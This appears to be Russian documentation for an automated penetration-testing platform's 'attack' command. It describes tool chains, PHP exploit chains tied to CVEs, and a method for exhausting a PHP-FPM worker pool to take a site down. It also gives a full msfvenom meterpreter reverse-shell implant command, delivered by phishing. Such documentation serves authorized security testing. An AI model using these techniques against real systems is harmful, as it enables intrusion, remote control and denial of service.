Команда attack БЕТА
Отправьте `attack #<handle>` — id находки (`#wprfsn`, есть на карточке и в list_vulnerabilities). Один прогон доказывает ОДИН вектор неразрушающим PoC и даёт отчёт. Голый `attack <цель>` отклоняется: он запустил бы все векторы сразу.
Эти команды новые и могут содержать ошибки.
attack:<target>Считывает всё, что команды OSINT, recon и web собрали о цели, из общей базы находок, сверяет обнаруженный стек с базой уязвимостей/эксплойтов платформы (NVD + Exploit-DB + CISA KEV, обновляется каждые 6 часов) на предмет подходящих CVE и публичных PoC, затем превращает каждую пригодную для эксплуатации возможность в подтверждённую уязвимость с рабочим неразрушающим PoC — и пишет готовый для клиента отчёт с воспроизводимой атакой для каждой находки.
findingssqlmapjwt_toolgit-dumperwebfetchnucleiКак это работает
№ Шаг Что делает 1 phpcustomОпределение PHP, метка версии, SAPI и состояние upload-progress 2 php_sinkАктивная проба include/LFI — сообщает вектор php2shell только когда sink есть 3 php_probeПробы конфигурации: memory_limit, max_input_vars, сессия 4 php2shell_chainПопытка цепочки — путь без sink 5 sqlmapSQL injection confirmation 6 param_scancustomАктивные пробы по параметрам: SQLi, XSS, инъекция команд, LFI/RFI, редирект 7 authz_scancustomАвторизация: гость против сессии, чтение чужих объектов (кандидаты IDOR) 8 content_scancustomСкрытые файлы: бэкапы, .git, .env, админ-панели 9 jwt_toolWeak / default JWT signing keys 10 git-dumperRecover a .git repository 11 webfetchcustomRendered page fetch (headless browser) 12 nucleiKnown-CVE template scan
php2shell: две разные цепочки, два разных утверждения
Название покрывает две вещи. Одну мы доказываем сегодня. Вторая — путь через CVE — всё ещё упирается в утечку памяти, там говорим «обнаружено, не доказано».
- Для цели записан sink → сначала A: секунды, без смещений, работает и на закрытом PHP
- Sink нет, mod_php prefork, без патча → B
- Sink нет, FPM → C, и отчёт только про доступность
- Цепочка никогда не наследует результат другой
php2shell: три цепочки — Один бюллетень, три разные атаки. Разные цели, разные доказательства.
Как уронить сайт (доступность)
php2shell даёт разный исход в зависимости от SAPI. На mod_php воркер выживает, и цепочка целится в выполнение кода. На PHP-FPM фатал out-of-memory завершает воркер, обслуживающий запрос, поэтому тот же запрос — проверка доступности.
N параллельных запросов опустошают пул pm.max_children = N, и повторение держит его пустым.
Кнопка DoS показывается только для находок того класса, где это верно (php2shell / строки PHP-CVE). Она никогда не описывается как доступ: нет шелла, нет данных, нет закрепления, а пропатченная сборка отвечает 200.
Что нужно: включённый session.upload_progress, тело больше memory_limit, post_max_size и лимит прокси выше этого тела, маленький пул FPM и непропатченный рантайм. Если edge обрезает тело, шаг сообщает no-effect — это и есть ответ.
Шаги с меткой «custom» — мои собственные инструменты, созданные мной для этой платформы. Остальное — сторонние инструменты.
Attack работает по списку уязвимостей
Каждая находка — уязвимость на вкладке «Уязвимости» со своим id. `attack #handle` доказывает именно её и записывает вердикт в неё же. Если она не подтвердилась, следующая находка получает СВОЙ прогон атаки — очередь это последовательность атак, по одному вектору.
Два действия на находке
`Attack #handle` воспроизводит находку и пишет вердикт в неё: exploited, blocked (не доказано — с указанием причины) или false positive.
`Get access #handle` — другой результат: после воспроизведения установить и проверить реальный доступ. Оба — кнопки на карточке, и она показывает каждую попытку с шагами и прогрессом.
Один вектор на прогон — и что его выполняет
Шаги выбирает КЛАСС находки по одному реестру: php2shell → `php, php_sink, php_probe, php2shell_chain`; sqli → `sqlmap`; xss/lfi/rce/redirect → `param_scan`; idor → `authz_scan`; csrf/upload → `content_scan`; jwt/session → `jwt_tool`; secret → `git-dumper`; CVE → `nuclei`.
Сузить вручную: `--steps a,b` (например `attack #handle --steps php2shell_chain`). Коды — ЗАКРЫТЫЙ словарь: неизвестный отклоняется со списком допустимых. Класс без обработчика получает один общий вектор (`webfetch`) плюс директиву и плейбук — и никогда все векторы сразу.
Таблица перечисляет ШАГИ платформы, а не уязвимости. Каждый прогон атаки — один из них, выбранный по классу находки. Находка, для класса которой своего шага нет, всё равно есть на вкладке «Уязвимости» цели и всё равно атакуется — общим вектором плюс своим плейбуком.
Запросы, называющие технику
Назовите технику вместе с целью — и пойдёт та же последовательность из двух запусков: без краула, без сканеров, без импровизации. `hack with php2shell example.com` (а также `check php2shell for <target>`) выполняет по порядку:
- Разведка, только шаги php2shell —
php(метка версии, SAPI, состояние upload-progress),php_sink(активная проба include/LFI) иphp_probe(границы memory_limit, max_input_vars, запись сессии). Больше ничего: ни краула, ни nuclei, ни sqlmap, ни сканирования портов. - Атака по тому, что записано — только если есть строка php2shell (кандидат CVE-2026-109618 / CVE-2026-109619 или вектор php2shell). Запуск атаки сам проходит маршрут: цепочка без sink — только если
php_probeсказал, что её стоит пробовать; путь upload-progress + include — только еслиphp_sinkнашёл sink. Не-PHP цель или цель без записей останавливает последовательность — и в ответе это сказано прямо. - Доказательство, а не прилагательные — совпадение версии, fatal по памяти или убитый воркер не являются выполнением кода. Считается только строка
PROOFс реальным выводом (uid=,hostname, записанный на цели файл), и находка остаётсяcandidate, пока её нет.
Импланты (механизм payload)
Нужен имплант? Его собирает attack-прогон — отдельной команды нет: `msfvenom -p <os>/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -f <exe|elf|macho> -o /root/payload/<os>-<lport>`, слушатель `multi/handler`, артефакт в базе находок.
Платформа только создаёт файлы: ничего не доставляет и не запускает. Скачайте артефакт с карточки машины (или по `scp`), доставьте по разрешённому каналу — для санкционированной кампании это команда phishing — и запустите слушатель на поде.
Что определяет успех: `lhost` должен быть доступен с жертвы (публичный IP пода, порт открыт в фаерволе провайдера); сырой бинарник msfvenom ловится Defender/SmartScreen; iOS вне области.
Списки
Укажите attack на целый сохранённый список через attack --list <имя> (список после recon), чтобы подтвердить каждую цель в нём по очереди.
Машина Kali
команде нужна активная машина Kali Linux — набор для эксплуатации (sqlmap, jwt_tool, dalfox, git-dumper, nuclei) уже установлен. Арендуйте машину в разделе Virtual Machines.
Несколько машин
Несколько машин? Добавьте --machine <имя> (или -m <имя>) — например attack example.com --machine kali-1 — чтобы закрепить все команды за этой машиной.
Отчёты
Каждый запуск attack сохраняет полный отчёт в файл на вашей машине Kali (в /root/attack/), а в ответе указывается точный путь и ссылка для скачивания.